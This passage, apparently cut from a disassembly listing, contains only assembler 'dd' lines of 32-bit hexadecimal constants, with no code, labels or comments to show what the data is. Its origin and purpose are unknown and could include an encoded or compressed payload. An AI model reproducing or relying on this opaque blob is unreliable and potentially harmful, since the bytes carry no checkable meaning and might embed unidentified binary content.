0CD080442h, 99B2B165h, 0B0CD372Dh dd 671E40h, 76B82558h, 0CE8143EDh, 987AE10Bh, 9405F865h dd 0B6C6341Ah, 0A3BCE050h, 0C1FB6B01h, 4971775Bh, 15AD8541h dd 0D0E205h, 3E63AA4Ah, 0F2B9D3h, 5272C4E4h, 0F537B66Dh dd 92A10D7Fh, 4A512CFDh, 7682CA9Bh, 80D131D3h, 0E61ADE00h dd 77F242CBh, 226297DFh, 15F89009h, 316FE6D2h, 136C6E0Ch dd 1E402DB2h, 0A958D2F9h, 0BE1B889h, 0B63BF345h, 6D012C64h dd 9FB9D6D3h, 0C6D481A6h, 230D361Dh, 0B7B5B89Ah, 9640110h dd 222DA18Dh, 287D124Bh, 24E90AD0h, 9BC8D2BCh, 945A8604h dd 0DCBE9C9Fh, 51FEEB01h, 0DAFAA8AFh, 0C4A75CC0h, 1F2A05A4h dd 2CE885A8h, 8F2FEA20h, 3C2140B9h, 995F08A2h, 0AB79386h dd 139DBD2Bh, 5629448Eh, 65805E9Bh, 14EA64D2h, 9B11AD00h dd 89605861h, 80DD4ABDh, 0CD9D3172h, 0AEFF8BBAh, 465E46CEh dd 7B24B18h, 0D1B50908h, 3FE3D4B4h, 0F6FFA83Ah, 77F2A2h dd 0B38D5D11h, 12B2BF0Ah, 7968C50Ch, 4065F851h, 4B55626h dd 0AA10111Dh, 1CCD1A25h, 7C516DC0h, 4950CBD5h, 3EA1962Dh dd 7305DB6Eh, 8332768h, 0E90D07A6h, 9B3A2069h, 0F86C387h dd 0E1BCFC82h, 0ABD87B84h, 7127860Bh, 0B58985A6h, 0FC0A4F11h dd 0DC8F9BB2h, 28F8B092h, 0FB73122h, 1F04B643h, 8A011B79h dd 0B8840FC5h, 5E0C4F3Bh, 411D24C8h, 0E8BF3916h, 230242B9h dd 20105A70h, 958CAA11h, 34C33DEDh, 6056F864h, 0CA8B00F8h dd 0C6815F61h, 3F71AEF3h, 0AFE3C4D6h, 48BCA94Dh, 4E7CD400h dd 5D826738h, 0BD0315E0h, 9002A8F1h, 53E7BF66h, 0FE79D250h dd 0F9784BB3h, 3C9E605Ah, 0C085D381h, 10388435h, 42017E6Fh dd 0BF0F54A7h, 0D98340F8h, 6011637h, 0E304E781h, 6F015Ch dd 515650B1h, 5F2DFD8Ah, 808DE05Bh, 7AEB69D3h, 0F973978h dd 94DB137Ch, 0FC5EAEC0h, 9C042DEBh, 0CA7726A5h, 2E9D72C1h dd 0DE9E0B04h, 89BF6D79h, 2E334D8Dh, 6DF5D61Ah, 0AFC0A15Bh dd 919D8B94h, 0A2D5025Eh, 0FF166FF9h, 0E07FA6D1h, 4B0709A2h dd 1DA10863h, 0E9208628h, 116DBC0Eh, 0E8746E3Dh, 26A0930h dd 56C07D6Dh, 627865C9h, 0F55D0DFh, 90BF5003h, 0AA411D1Eh dd 0D5A602E1h, 0AE9012Ch, 0C82C6F0Eh, 1B3741E3h, 0A68EC180h dd 0DA958318h, 176DC89h, 4CCF81F9h, 207B0E1Bh, 965E8F3Eh dd 0C834B81h, 0E1B676C2h, 509D9509h, 8A6090CDh, 0A0E8C62Dh dd 6DA5ED76h, 0C01707FFh, 102F05ADh, 5F0D68A9h, 1D35614Ch dd 0CDAD29B7h, 4083E0AAh, 5B0B6897h, 1C7B721h, 31ED9DF1h dd 4A4FE605h, 7E72956Eh, 32C62FEBh, 0EF816FB0h, 2FC2490Bh dd 0A4A5D176h, 9C12DE88h, 9C064C06h, 4A4932E1h, 0E160E6FFh dd 0D0217833h, 8092942Fh, 0B5FFDB24h, 48A651BCh, 16147588h dd 2165A5E9h, 0E87224h, 3C7CC2EFh, 63404Fh, 0F764258Ch dd 0E9143679h, 0B0660816h, 0E6DE5C80h, 8744B970h, 0A7C08A45h dd 1CCC9031h, 0A100D62Bh, 0FA874C36h, 929A01Fh, 5671E45Ah dd 15F155D0h, 0E93799A9h, 0A98DC14Bh, 0B6C98B1Fh, 0F8A79C8h dd 0E209274h, 0A31930BBh, 0BF40DC9Ch, 0B78D6723h, 0BDB60850h dd 0FC100347h, 154B0DEh, 0F9E3CDAAh, 3EB562FBh, 5AEBF097h dd 2BDA1731h, 0AD0509C8h, 60D13C90h, 18207FFBh, 2CE78061h dd 64DCE9C0h, 2B5CE585h, 0EDE2CC8h, 772C5AB7h, 0A6AD1300h dd 9F0181BDh, 5C23F73Eh, 0E830A7B8h, 200C9807h, 12D228D1h dd 133D3D4Ch, 18C30A80h, 1192D03Bh, 0C7810011h, 5357DA7h dd 0BDFEE66h, 47E99798h, 0C425B279h, 0BD090908h, 0DDA3042Dh dd 0AD9C0EBBh, 0C5843EE5h, 8122AD68h, 65CE8002h, 80A58361h dd 0B509FE24h, 25F99939h, 5638D893h, 0A5CCE290h, 6091080Ch dd 0D407B58Dh, 0B7B7157Bh, 59FC3089h, 0C5488865h, 90E3C03Ah dd 1EA24A54h, 0AACAD6h, 4421366Ch, 0BF0DE5AFh, 72C70BA7h dd 4F82FB30h, 1EACCFAh, 28D9D25h, 7805B95Bh, 0BF70F7B8h dd 47FC8108h, 880F3193h, 3FEA1604h, 0F64B709Ch, 0EEE4B2h dd 41E7E60Eh, 0ED507B78h, 25405DBBh, 0E4C0482Bh, 111F7519h dd 0A1DB2ED2h, 0FED4380h, 0AD0CD8B7h, 42D1C233h, 17B490D0h dd 0DBF47504h, 0FC1F8063h, 269872DAh, 631D89E1h, 2FD0504Fh dd 0DC004E38h, 24765127h, 0E66F47F6h, 81AB01A8h, 69B01BE3h dd 6D6E2F0Fh, 0F5A5C500h, 10AEBF3h, 17319510h, 16EB24Bh dd 0DDA27B97h, 64F46B11h, 4A6E002Ah, 29CBC704h, 839261BDh dd 4A880D38h, 41800CDEh, 6814A782h, 0E702CE77h, 958B3EB7h dd 91D358CDh, 7AA78040h, 6A882440h, 73B6C101h, 6763C9ACh dd 0D665D121h, 50B77420h, 407DFDDAh, 8B395021h, 3180DC2h dd 0A5E308C1h, 5819E359h, 0C1F0EE76h, 0D103CBABh, 593E299Ch dd 2FFCD4CAh, 69237280h, 38005CA3h, 4D2208F5h, 5BF35BAh dd 3D7CD0E6h, 199AC15Fh, 66222E14h, 9D23218Fh, 0BC38635h dd 590DA9BDh, 0D7FCC9B8h, 6B4A8F09h, 0E98E823Dh, 2F345226h dd 4C3D4E4Bh, 0EB33101h, 0BA8889CEh, 0F9042E11h, 6EBBE1FFh dd 12A3CC5h, 8C92392h, 0B093CF46h, 0D966B569h, 9C98C211h dd 85820402h, 1022FE00h, 520D0401h, 9C009B6Fh, 3CE014BFh dd 0A52B773h, 0F030630h, 153A786h, 0FADBC381h, 7560197Dh dd 3F026F1Fh, 783DB529h, 0E180126Dh, 0E752B604h, 0BD522220h dd 0E7262F95h, 23456CC0h, 0CFC90A80h, 22963FEEh, 0E454CDA9h dd 0DC122Eh, 2F3220E4h, 0DC62A012h, 33FCBB06h, 90578D85h dd 28B125BAh, 0DE103271h, 18C1AFCh, 0F4AFBE1h, 961B0E56h dd 3395EDDCh, 4E36FABh, 0E3C72C8Ah, 0CE8080A8h, 0F6D064B0h dd 0FE9E1B01h, 0ADFA6DAEh, 7A50203Fh, 38000206h, 0A43070ABh dd 580F9E2Bh, 0F2960E89h, 811E7BEAh, 0BB0079F9h, 0E6B5CE22h dd 69AD025Ch, 5BF28B45h, 0EB688A80h, 8A7250EDh, 0CDBB5200h dd 0F6E82ADh, 1D05B731h, 0C19DECFAh, 81585A61h, 1614A540h dd 0F7577CEh, 30ED7DCBh, 588AC733h, 908B0F09h, 710960DCh dd 0D1175A85h, 42A19D4h, 0C09EBA8h, 0F67815BDh, 100E69F3h dd 17F801E5h, 0A70B068Ch, 8AF5E107h, 0C69D015Ch, 0A2710485h dd 0F50D0392h, 761882C7h, 0D903F6E8h, 8D0FBA12h, 0FA194806h dd 0F91D6D18h, 7BD608B5h, 0F4DA5906h, 2399258Eh, 0B6D11FDBh dd 60238D3Fh, 1640A9D1h, 0B7897CF8h, 521F53B7h, 16AB2601h dd 0D83E0FEBh, 1D7EBDD6h, 0FB6C4182h, 0A993E822h, 0FE74A85Ah dd 0B12D05BEh, 14168B59h dd 0C84A0C95h, 4094692h, 0A2A19509h, 0C1609656h, 691313ECh dd 85FA1580h, 44C96700h, 0EE92FC97h, 7BBD0070h, 596E0BB0h dd 61035E5Fh, 0C1ABBF50h, 0B196DB3Eh, 38C8078Dh, 0DB549FFh dd 0F2C1F55Ch, 6F4078B0h, 920C7F20h, 59CE00DEh, 7711F1FAh dd 5412D368h, 9A004CFDh, 243481DAh, 0E257302Ch, 0BD53BF14h dd 8DFB1CC4h, 0B97D7889h, 0D0F9C6BCh, 735A519Ah, 3902909h dd 0C3FE8AE0h, 25701231h, 25D61F8Fh, 90766902h, 9CE079CDh dd 87FF3C9h, 828E018Ch, 2B03B908h, 3751A5F8h, 13F58584h dd 393F4914h, 649F61C0h, 4380097h, 0CE95153Dh, 8E75EA26h dd 6185C72Ch, 9B3A266Dh, 0DA7AC010h, 0E660AF80h, 0DFA65CEAh dd 8712B518h, 9716D9BFh, 9A10576Fh, 0DA4993C7h, 0F174180Dh dd 22E98110h, 0CAB70358h, 390C3050h, 18744A8h, 0AC10E8C1h dd 4CE0020Eh, 584A03FCh, 0EBE7C643h, 81367736h, 857B0E64h dd 29501B8Ch, 1821D028h, 1135833h, 651B5742h, 0AD9BC0BCh dd 0FD4112C0h, 233CA6FBh, 0B75C0B7Dh, 0C071EDC8h, 511B3F47h dd 61A0825Ah, 52F45CA5h, 47B85A0h, 0BBBD9Dh, 0D736DD1h dd 4BFF4548h, 5F4C30E7h, 241F8BBFh, 20F35894h, 2960A112h dd 38B05F3Fh, 2FD31869h, 1FA86078h, 42E382E5h, 0BE97E67Eh dd 666C4C2h, 345DB510h, 26D8C725h, 0A604D6h, 0F0F340E1h dd 0ED1E4A21h, 16908D89h, 0F0026948h, 502CC2F6h, 8BA422DFh dd 0FC0863F9h, 1C6EBBh, 0AE115658h, 2CD32DEh, 0C780D6FBh dd 0A2C160FDh, 1FE81518h, 0E30A9F80h, 92039B0Ch, 4D8DFFA3h dd 0CF04F84Bh, 2501E836h, 0A4935AD4h, 0ADF778F8h, 84CFA200h dd 295026E4h, 61402BAAh, 316D27D9h, 3B8EB8C0h, 23A50183h dd 290D67BBh, 0E1FF416Ah, 5E7A2E1Ah, 0D0A6900h, 0DD0FFFBFh dd 92226049h, 0AB4BBC05h, 30398F81h, 8F58CC04h, 0C70054FCh dd 10CD591Bh, 0EEABB1AFh, 0C592053Dh, 2D648E8h, 1D7D8D81h dd 868DE554h, 0DB2F41C4h, 0C0C580E0h, 2642AF8Bh, 8CD726Eh dd 9A2531B9h, 10097C6Fh, 0C0662F0Eh, 2D04C235h, 0BD489D33h dd 0F94B9589h, 20505ED1h, 0C2CD9B3Eh, 0C05F5101h, 82D0EA8Bh dd 208468C3h, 0C4343DBDh, 0BEB88669h, 3007F7Bh, 14B261F5h dd 5E371235h, 0E146038h, 18F2E6A3h, 14E27330h, 9EABDDCCh dd 56198510h, 6057255Ch, 0B8565F12h, 5BDB2F9Bh, 0C3800A98h dd 57500812h, 410127F2h, 7E70D902h, 50E422BAh, 90D65FE2h dd 3FA63117h, 4B18DEE0h, 0D9521DB8h, 1A093B52h, 42BD1BC9h dd 0F6B2F68Dh, 85E28217h, 0D300D9A2h, 3D9FD631h, 0A2004F4Eh dd 0BBE305A9h, 26E44C68h, 4DF5B53h, 25121189h, 90B8FEDh dd 0EC41DD85h, 2D89F550h, 8D602B9Ah, 0B4B86601h, 9055610Bh dd 2D01C216h, 2FED9D03h, 0FF41CB4Ah, 310214F5h, 126A1355h dd 0F72AA5FEh, 3EEDA024h, 5D8FE35h, 0DC0DBF4Bh, 74E2ACh dd 0B1DA15E0h, 0E23174E8h, 4CDE528Bh, 5CE2B863h, 0C9B1882Ah dd 457984B3h, 1A7FD070h, 0EB6D8589h, 0DF41B406h, 90B40250h dd 177A6AE1h, 0C4B5C113h, 0A976822Ah, 0D12B717Ch, 845F78h dd 0B80FCCF4h, 8018A160h, 56E0EF26h, 35CF7115h, 9CA630C6h dd 3355C0E1h, 0FA38C3h, 9DFBC2BCh, 0EDDF97h, 68E5CE52h dd 0E451A599h, 66625D02h, 75CC5ABFh, 0A1010584h, 0BD40A57Eh dd 494F004Fh, 0F1E97CA3h, 7A83F25Eh, 5CC192FEh, 5CA2E892h dd 38501546h, 0F1953429h, 0DFCE09ABh, 1AD71262h, 3C9DB341h dd 0CEFB308h, 748EDF9Eh, 0FB6BC227h, 946999F5h, 156BF1C4h dd 80906132h, 0CB1AEFBCh, 843EF7C5h, 0BB4005E8h, 2B575C24h dd 6F3D97h, 6268088Bh, 0F30A3794h, 0ABF1542Dh, 1647E205h dd 6E82F69Eh, 0A684376Ah, 0CDF3C1FAh, 16366902h, 88E81A15h dd 4510B694h, 0B390091Ch, 0A733D67Bh, 0D80015B7h, 0BFA1CC26h dd 616318CFh, 85294878h, 4A14C549h, 0C986AB20h, 9BB53F35h dd 0AB1D3E86h, 3F9A2E67h, 0B58CEEB5h, 4F4374CDh, 0EDFA0563h dd 0F28C0F57h, 25BF389Ch, 0A20EE63Ah, 80707CDAh, 62BBD1FFh dd 554B9210h, 7B22CB8Ah, 9FF3811Fh, 4977B8C8h, 22518AF3h dd 89CC5FF5h, 0C7FD598Dh, 0BF80865Ch, 55660D35h, 0CB47790h dd 0C5A44D2Fh, 66E299A5h, 0E39DF381h, 5E0D9AE9h, 47EC5809h dd 8D416681h, 0B2281455h, 0CD965780h, 0A300CF97h, 5E379EAh dd 0E529F45h, 3554C198h, 0B85FFCA4h, 9DE6D3FAh, 0F30DB4E0h dd 12F97B0h, 0E681B017h, 87A100A9h, 7AB257F9h, 210B67ADh dd 61903E8Bh, 813C5021h, 6EDA073Ch, 0C2D70010h, 4AB7CED4h dd 0F109E6A3h, 0B3546C7Fh, 10CC8C48h, 0CC4A2031h, 0C30381E7h dd 4F22CAFDh, 0D781EC6Ah, 299721CDh, 41D7B5B5h, 142AD55Fh dd 4EC8AEACh, 3FF1A7h, 0B77B2A9Bh, 0D916FA71h, 0C8E8BAB8h dd 0B1B05BC4h, 81AA61FFh, 2B70E612h, 4A75AD9Dh, 8A05C230h dd 90CBF500h, 7162E4FCh, 924D536h, 0E60A55Ah, 0A888BB81h dd 86494B5Eh, 0D927B2A4h, 20E05320h, 982998BEh, 9F1EA62Eh dd 427DC946h, 80E3DE00h, 0D633271Eh, 3CB21859h, 0F04325Bh dd 92088A48h, 9E0009A2h, 2594A8F9h, 3B0098FCh, 53A66BA5h dd 2570F510h, 0BCC2779Ah, 9D04BA56h, 0B22530B1h, 0B5B34A69h dd 1603FD00h, 5BD88B73h, 0DA65E95Bh, 559C5A9h, 80951520h dd 8D2960B1h, 0F15C7A5h, 20572A82h, 0F9351E34h, 30AF0015h dd 4EE59C6Dh, 0C140616Bh, 482EFBCFh, 0E1A010C2h, 0E98AD796h dd 0C761CF54h, 8D2BEFDFh, 0D12C8869h, 34091214h, 88C3AC93h dd 8129BB34h, 0D96C60A6h, 5C00D0AAh, 381D4DD7h, 1F913CCh dd 43360E4Bh, 42A5839Eh, 0EA81FE37h, 6E890CE0h, 0DC8A5121h dd 1ACA612Eh, 617209DDh, 5C3015B2h, 0B93AD70Eh, 16D6BC01h dd 5EFF8E3h, 0C156FB99h, 21D6949h, 68D55C5Bh, 31D960D3h dd 1F0357Ch, 9D799C1Ch, 0E47B945h, 52116EE4h, 0FC27AD26h dd 85C0946Dh, 0B921E246h, 0B5C5806Ah, 305B692Bh, 0A29BFC5Bh dd 0C02B9282h, 380375Dh, 0BAF7E2F4h, 0B0EFE784h, 0BC1DB09h dd 0D59C3D35h, 0F5C37C2h, 506B53DAh, 0EC00EFC6h, 0E6AE296Ch dd 0B5496487h, 2A5561h, 256BABBFh, 0C1C42B3Bh, 0F637B7h dd 2BB60933h, 69025BB0h, 0CB80F3ABh, 0B25479C4h, 0B45CDAE2h dd 0DCB6F46Bh, 0D48B6709h, 5ACA71D1h, 2FD1428Ah, 544B7DEFh dd 0B030967Dh, 53802785h, 0BC14975Bh, 97F95044h, 265CB112h dd 958E6E25h, 0FB405EEDh, 1052FBBh, 51953529h, 6409BD89h dd 90B75B1Fh, 0E0B598C8h, 4FA100E1h, 52D855DFh, 30F3FFCBh dd 0FD25E786h, 167DC586h, 0ECCBFD76h, 697507D2h, 47E6283Dh dd 8BC3A08h, 0C22F3481h, 254374CFh, 5411AA65h, 5085C85Fh dd 40940502h, 0C3A561BEh, 5F498410h, 0FE449A71h, 0C4BDC255h dd 8D070BE5h, 8985B121h, 5063D259h, 25F79860h, 0BEC27064h dd 4070FFF3h, 0CC3709C7h, 1D8B560h, 7B0166BFh, 13752509h dd 0F9B1E8CCh, 72181571h, 0C5BA7D50h, 0E2322EF9h, 0C3CC2C5Eh dd 603E9A0Bh, 0D6E81851h, 0BCB800BBh, 9C3FB2DAh, 5A718A5Fh dd 85295309h, 5BDD22FDh, 0D61B5661h, 1A001C46h, 94400AEAh dd 9B0963DDh, 79F88A7Bh, 70F3A704h, 1FD6970h, 27B4CE93h dd 0E20FB7F9h, 90FFB580h, 7FE36050h, 0BF569ECCh, 0B6F4CA43h dd 6498E0A9h, 7B2D3C38h, 8FBE6001h, 4143A284h, 40779BFh dd 85C8971Dh, 0DFE04F03h, 7A325868h, 0C2E1348h, 8EEDBB8h dd 611E255Bh, 31A74260h dd 64136525h, 5CB40068h, 8170C29Bh, 0AD3A47D4h, 0AC46AC72h dd 0F065D102h, 62EC54DCh, 0DB8A9D23h, 5E4DA5BDh, 7F601844h dd 5A021C0Dh, 0E9C1B763h, 35284AEDh, 0A36B8027h, 5653FC66h dd 0BD316016h, 0C960FCB5h, 0A6B7DEA1h, 944E3F38h, 9601B809h dd 0C9BD88B9h, 5628808h, 1DCA251Eh, 2FD04C7Bh, 0EE8225Bh dd 0AA0B8C00h, 0A8D2A15Ah, 149A00A7h, 2D54B91Dh, 5B4BF98Ah dd 6E3B26CDh, 1633C72h, 0E16D5F35h, 822B19C4h, 9F91174Ah dd 2ECF750Dh, 9D0B5130h, 56C1BA75h, 0E9E03D89h, 0ED045DB1h dd 35A43AD8h, 2E096E81h, 0AB890302h, 114CD962h, 1C408BB6h dd 816B1Eh, 2DBB703Dh, 5B77C667h, 42BF6609h, 0B7167808h dd 60808C37h, 1EB4007h, 0C0611673h, 0CBFEA997h, 4C2EC2DFh dd 1D1A9702h, 84EB6Bh, 0E92F6B68h, 870F254Fh, 0C8A50C79h dd 2D2C9412h, 5A5B4FF6h, 42DC70h, 0FAA1728Dh, 6A349469h dd 7E406B94h, 25EDB119h, 3BE65004h, 6CBB660Fh, 7EC473B6h dd 85959D04h, 9B7FFB99h, 7AAD80D5h, 69A43Eh, 0B7473DEEh dd 0B58961D4h, 0B12F15Eh, 1CBF1B2h, 75294089h, 0DE4BE151h dd 934D25CCh, 99B80EE0h, 31DA0D95h, 631D2BE9h, 6112006Fh dd 4275C5B1h, 21271C6Ch, 0F1C7E5CBh, 961A9F5Ch, 71E0A04Dh dd 49A7FEC9h, 2B2EC280h, 0D25652AAh, 60042911h, 0A0E5B50Bh dd 0C9028152h, 6E665D44h, 2DDD9661h, 925B040Eh, 2E1DFD1h dd 5B707E8h, 2767835Dh, 5B95F766h, 5A290EF0h, 14C17A20h dd 25A63967h, 4405EFC9h, 7BC4601Bh, 1CED0459h, 0F865903Ah dd 0CE0980CCh, 5B3892h, 5A0EB91h, 0DB042EA4h, 58883212h dd 9A4B0CF7h, 0C2E897BBh, 3248F094h, 2E686E4Bh, 29827AC5h dd 5431C99Dh, 666DEB9Eh, 934B8CC0h, 0BE35979Ch, 90801A91h dd 6FE43BA9h, 0BF982D01h, 24257A6Ch, 0D728DF59h, 9A951620h dd 5107C1C4h, 0B52E523Eh, 80B91EABh, 9C8AA9F1h, 860F25B8h dd 0DF9393D9h, 6E6A588Dh, 89DC0E62h, 0D464CBDBh, 4A271064h dd 5CF8C9C2h, 5B6D25BEh, 0A8E346C0h, 8B58126Eh, 49C1E3FEh dd 0F40BDB6h, 569DADDh, 618D01B4h, 9DB14303h, 0D122D21h dd 0E8E33585h, 0B934B993h, 0F540207Ah, 79709531h, 0EEE135A1h dd 19445C4Fh, 89139C60h, 0D673A017h, 9060FA8Ch, 45D2032h dd 518E0F27h, 61DF80E1h, 0BF525096h, 3E4A4C09h, 41C7D02Fh dd 67E0F7FBh, 6925CC9Bh, 20B796h, 31F130Ah, 2B098FF8h dd 7A0F259Dh, 184145D1h, 8D3E2980h, 0F38B4B25h, 0F6AC4159h dd 95ED0800h, 0DA74DBD6h, 7A05657Ah, 0B2C35209h, 3E318DEAh dd 0C213DB2Eh, 64193634h, 950C86Dh, 8005BEABh, 7B53CBE3h dd 0F9F2AEF6h, 75CF8E2h, 2096026Bh, 582E92CEh, 4C7BF4EDh dd 19102D87h, 0CE61252Ch, 2935B5E0h, 0E7EDD204h, 78A7D9B8h dd 808AD1A7h, 0B4462FE6h, 5026E3Fh, 4D44CF62h, 3EC4E8h dd 15AA6C17h, 0D4162A5Ch, 4BB3200h, 0B1FC0C96h, 8E5A679Ah dd 0C12716B5h, 0E2E89A95h, 13BE565Bh, 0A1171289h, 8A2D2B80h dd 6A007833h, 1D1EB6A2h, 0CE0013CBh, 0F2871434h, 767ED52h dd 0F33AE9E1h, 315419FFh, 3B94B640h, 4DF82561h, 0BFC0FE74h dd 9661597h, 0C18B5F7Ah, 0EE413385h, 0DB2EDD29h, 66B08008h dd 9555CBBBh, 0A66C5902h, 0A29C9150h, 0AA5619DCh, 7DE93CF8h dd 0AFF100EFh, 122A6C8h, 26A14ABDh, 4D3072B7h, 5777C86Fh dd 306EF916h, 0BD38125h, 697D2C14h, 182912D3h, 0F5253AE2h dd 0E273E729h, 26E50670h, 0A5C4ECB7h, 0E079C873h, 0AD31752Eh dd 0C876A93Dh, 0B3446025h, 0BE742F0Eh, 0A059FCDh, 1DF2E09Bh dd 1E5BDF00h, 76A3FBE8h, 938AB60Bh, 0A85C715Fh, 25ED205Ah dd 9D336104h, 2DAE1681h, 386A2B68h, 58CEAF00h, 0E19D0132h dd 64E31D4Ah, 0AEB4A346h, 30CB8Ch, 3F43CD8Ah, 0CAABDA27h dd 0C54FED25h, 2E701AA0h, 13DE6076h, 134E2CE3h, 45670425h dd 26A0403h, 901278BCh, 0B532AF50h, 74BD9851h, 75B4C0ECh dd 976AC6Ah, 3090BDA1h, 5325D38Ah, 6492CDAAh, 2BC86016h dd 0CB30E92h, 0E27297E9h, 5790DC95h, 2CB9C262h, 405F4F5Dh dd 0A0C692E4h, 9D9D964Bh, 78B0E026h, 1AB0FE72h, 6D5BF1E2h dd 56AED494h, 0C273E1EDh, 73DE890Fh, 658B1E6Bh, 37BD6DCCh dd 0B59700CFh, 8B496705h, 25F3A620h, 8ECE1451h, 2571AB5h dd 202849A4h, 37BBFFFh, 8FB8914Ah, 7F4BA14Fh, 3C02F86Fh dd 2ACD7B98h, 0F9128BDEh, 0F038B1E6h, 9D332340h, 85B09D39h dd 1C6275E3h, 0E6021B59h, 0FDBDC070h, 71E48031h, 25252378h dd 4F9DC626h, 0FEC122C4h, 71289B5Ch, 7CBADE29h, 26108508h dd 0ABBB0132h, 2E7B5CD7h, 58EC8717h, 49C28A80h, 62006758h dd 95C7FEE9h, 80A1F8h, 0A5BA5D6Ch, 5B26CFF4h, 0B3850097h dd 1575142h, 9BD6C381h, 0C45F6B70h, 41F9C82Bh, 303C1CAh dd 0BFD1B85Bh, 9C461268h, 9247B92Bh, 0F262B8FDh, 855C0781h dd 0BD08F846h, 1FC5F740h, 0EB6C5682h, 0E9F51AC0h, 2523D44h dd 92BD37BFh, 18DD5F71h, 259D89A3h, 66CC285Dh, 0B71F2142h dd 18A514FFh, 0ED8FE2Fh, 43DFA405h, 56019589h, 2A458501h dd 101D8A2Bh, 0B32FED16h, 575BCAE2h, 0EFF0C071h, 98AB1269h dd 2F2FE332h, 0DE568F52h, 55B95BC4h, 0E65AC3FCh, 40A4E28Dh dd 19F4215h, 3118B489h, 2E1D358Dh, 6AEF4A64h, 0CB8D0087h dd 2CBFD023h, 77932466h, 266D0808h, 609BFC12h, 0FB8B6B80h dd 3795C02Bh, 18BC0067h, 0EB9D67C9h, 69928C62h, 0D22B0311h dd 0B119C5C7h, 43DF2AD6h, 0BFC01BC8h, 26FF92Fh, 88826828h dd 6CD95060h, 0EC454007h, 5894E4C0h, 0E38F05BAh, 0BF610AF3h dd 8000716Fh, 93E39F1Ch, 48984F54h, 84609295h, 829489A6h dd 6A5BE7B7h, 0FC6F0031h, 29C9C20Ah, 9D350321h, 598D0161h dd 2D43ADBDh, 9568F0EDh, 6D1F6DBAh, 2A13EBFh, 0D287342Fh dd 0C1BF705Eh, 27BB66C1h, 7B2B2E9Bh, 93DEF550h, 380579CDh dd 4ABD5991h, 6B2272CAh, 0ECDB8102h, 5C67EA27h, 87BB4077h dd 2D4B66DDh, 9A2F799Dh, 0A04E83C2h, 798E3F8Eh, 0E14EFFC0h dd 4A007C6Eh, 554CCCE3h, 0E2392797h, 52530078h, 88B5C781h dd 5F0538B1h, 228D8ACBh, 0A42AC146h, 3E081C90h, 37D48C1h dd 6B5C6102h, 4D1B0B52h, 39E3C048h, 66095C31h, 8E470B27h dd 0DA71C288h, 53815C40h, 1C233FDCh, 3CD16B00h, 12D95A72h dd 58B5758h, 8360F81Fh, 12BC4D02h, 96A81B1h, 5570612Eh dd 5A6609BFh, 0E8724535h, 3E25CDCBh, 2508464Ah, 46D45160h dd 0EE95F61h, 0C80AE210h, 0ABF53B28h, 4802547Dh, 11463201h dd 0A5105C61h, 0A6F4D6DEh, 0CB8102DFh, 26230BF9h, 0EBC4EDE2h dd 0EEDB795h, 23622A93h, 0B6619008h, 0B946A8Dh, 0C1C0DBBEh dd 8065A1D7h, 2E3082C0h, 30619AA6h, 1F03FF23h, 0C49F60E0h dd 2857946h, 0D9F92145h, 5B72E8BDh, 72C09601h, 615BEC16h dd 6FBA1931h, 453406Bh, 73EEBE03h, 0C43C80BAh, 0A561481Eh dd 0A4CD5889h, 5773CAC0h, 18F99753h, 4F794E01h, 0D2D01BA7h dd 0A0250050h, 0D0D6C8BFh, 6A09E328h, 0B64FAEAh, 966BEEC1h dd 2601D449h, 0D0700B22h, 812BFBE2h, 9DB9C68Ch, 0E2F0BCF8h dd 971CC58Dh, 567C923Ah, 2B3B2A10h, 4425E937h, 8644AFBEh dd 49B8F5F9h, 0B9C3BDD3h, 3B9A9DF4h, 4F816C92h, 0BBB62DB5h dd 20ECE02Eh, 0DB500997h, 4AF8D82Eh, 0D258EE01h, 870FA239h dd 25BBF94Ch, 49C475E3h dd 4ADEC09Ch, 28209B7h, 6DA53C73h, 313EC2D3h, 895A5BD0h dd 643FCDB1h, 0FE268429h, 0FC00477Ah, 0D6843171h, 1F251774h dd 7C3DC227h, 8008DC4Ah, 609CC0A0h, 74DF284Ch, 0B3AC6E01h dd 0FE8A5025h, 9B4FE97Ch, 88D08233h, 0A9A15446h, 58582338h dd 0D2019071h, 7DC16821h, 420F397h, 0A09C4BA0h, 86123E0Fh dd 6FE80C87h, 77205B8Fh, 0C1558EAAh, 0EBB1EF04h, 6BAE5680h dd 1172388h, 0CCED0968h, 0B88D3E50h, 4D8BC524h, 818001FEh dd 3385C1E3h, 4D61762Fh, 0EF77C05Eh, 3309C197h, 711391BDh dd 5819E96Ch, 87E02F64h, 3A1503C0h, 0F666CD7Fh, 83EC83D5h dd 0DEF04091h, 0ED3AE057h, 851C9713h, 87E0E45h, 0E9091AD0h dd 1238511Eh, 0AE5DE3FBh, 496E1650h, 2ABDBD84h, 0DD0411A3h dd 0B8F572C9h, 0A56DA35Ah, 2BE940A9h, 0D31275B6h, 0BE8A1DDh dd 33911CBh, 899950Bh, 5303B8EEh, 1C38060h, 7FD5CA09h dd 0B85B1DA4h, 0DA5ED95Dh, 0BA3D252Eh, 0FC00166Fh, 85B3363Eh dd 280991C6h, 0E2CD8D09h, 0D62E56A1h, 17171546h, 2BB0808h dd 84FD8A8Bh, 4CD0F807h, 4AC99D23h, 0E0BA8A20h, 322B775Dh dd 8598A6A3h, 5BA32977h, 28EDAD1Eh, 0A03BF541h, 7080CCh dd 93A498BFh, 0CFAE8EBBh, 2198484Bh, 30392285h, 14659D12h dd 31D51BE2h, 26009DACh, 0B480197Fh, 9C2F3081h, 0D3B5E92Fh dd 75522A80h, 4BC5CFE9h, 29128043h, 196009BDh, 0F2050B7h dd 50C6978Bh, 952FAD20h, 0D4D301BAh, 4AA1B50h, 0A99529CAh dd 0B4F2AC2Ah, 17A82BADh, 0C0E02800h, 0BF6611DCh, 0A2124AFAh dd 3B7E00A5h, 0B7524C93h, 64AE6CBEh, 44954D80h, 0F82F9BF7h dd 853F1FC5h, 15DB828Ah, 0F155DFB0h, 700BA869h, 3A968169h dd 778A5115h, 41C8B729h, 6541C030h, 3D1344E8h, 19458707h dd 28A0ADEEh, 2717ECh, 0F8B42962h, 0D3B952A6h, 8B80495h dd 0DB595F09h, 8409A5A4h, 44B45940h, 0E2DEBF3Bh, 7FCCEDDh dd 0DB6FE240h, 835F0F96h, 5F23F68Ch, 6BA98C0Dh, 2B0E9F10h dd 0F6FC961Ah, 28FC157Eh, 2CBFB4CAh, 9DB663Fh, 0C559865Dh dd 7B2F993h, 0E037B696h, 857546h, 0A8383968h, 0FB8B35EDh dd 54DE9A95h, 142E51C0h, 0C2FDFF09h, 689754DCh, 4A131198h dd 6DD188h, 468A1B82h, 697FE39h, 5012450Eh, 28C62A5Bh dd 5925C509h, 0C2E1E9ADh, 30E90027h, 0C4FF71F4h, 102F2116h dd 